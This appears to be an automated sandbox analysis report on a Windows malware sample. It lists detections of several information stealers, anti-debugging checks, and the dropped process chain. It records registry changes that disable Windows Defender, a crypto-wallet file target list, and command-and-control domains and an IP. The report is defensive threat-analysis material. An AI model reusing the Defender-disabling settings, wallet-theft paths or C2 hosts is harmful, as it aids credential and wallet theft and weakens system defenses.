Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsCFBAKKJDBK.exe

Code function: 21_2_04A70B58 rdtsc

21_2_04A70B58

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCCAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CCCAC62

Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Code function: 21_2_009E652B mov eax, dword ptr fs:[00000030h]	21_2_009E652B
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Code function: 21_2_009EA302 mov eax, dword ptr fs:[00000030h]	21_2_009EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FAA302 mov eax, dword ptr fs:[00000030h]	22_2_00FAA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FA652B mov eax, dword ptr fs:[00000030h]	22_2_00FA652B

Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCCAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CCCAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e88687d065.exe PID: 6648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0f2c5625b4.exe PID: 8116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e88687d065.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e88687d065.exe PID: 5124, type: MEMORYSTR

Detected PureCrypter Trojan

Source: 0f2c5625b4.exe, 00000018.00000003.2895856505.0000000005E94000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1085156-1-3,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-63,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,domexpansion_v1:408272,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"130.0.0.0"}]},"EdgeShoppingDomMutationExpansion":{"enableFeatures":["msShoppingExp67"]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearc

LummaC encrypted strings found

Source: 0f2c5625b4.exe, 00000018.00000002.3222945480.00000000000B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: faintbl0w.sbs
Source: 0f2c5625b4.exe, 00000018.00000002.3222945480.00000000000B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 300snails.sbs
Source: 0f2c5625b4.exe, 00000018.00000002.3222945480.00000000000B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 3xc1aimbl0w.sbs
Source: 0f2c5625b4.exe, 00000018.00000002.3222945480.00000000000B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: thicktoys.sbs

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCFBAKKJDBK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCFBAKKJDBK.exe "C:\Users\user\DocumentsCFBAKKJDBK.exe"
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe "C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe "C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe "C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe"
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0f2c5625b4.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CD14760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CD14760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBF1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CBF1C30

Source: file.exe, file.exe, 00000000.00000002.2540207270.0000000001344000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCCAE71 cpuid

0_2_6CCCAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCCA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CCCA8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC18390 NSS_GetVersion,

0_2_6CC18390

Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Overwrites Mozilla Firefox settings

Source: C:\Users\user\Desktop\file.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Jump to behavior

Source: 0f2c5625b4.exe, 00000018.00000003.2991746256.0000000001543000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2991560386.0000000001532000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3088525096.0000000005C68000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 22.2.skotes.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.DocumentsCFBAKKJDBK.exe.9b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2661641645.0000000000F71000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2640317594.00000000009B1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0f2c5625b4.exe PID: 8592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0f2c5625b4.exe PID: 8116, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000019.00000002.2920183132.00000000002D1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3086404346.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3036822838.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2184019997.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3218595100.0000000008780000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2922940562.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3334792447.00000000002D1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2541025259.000000000179E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3286978773.0000000006371000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3288349906.0000000005180000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2879634659.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3337028806.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3084154633.00000000002D1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2539790734.0000000000F71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e88687d065.exe PID: 6648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0f2c5625b4.exe PID: 8116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e88687d065.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e88687d065.exe PID: 5124, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0f2c5625b4.exe PID: 8116, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2541025259.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2539790734.0000000000FF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2541025259.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Exodus\\window-state.json*
Source: file.exe, 00000000.00000002.2539790734.0000000000FF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2541025259.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Exodus\\window-state.json*
Source: file.exe, 00000000.00000002.2539790734.0000000000FF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
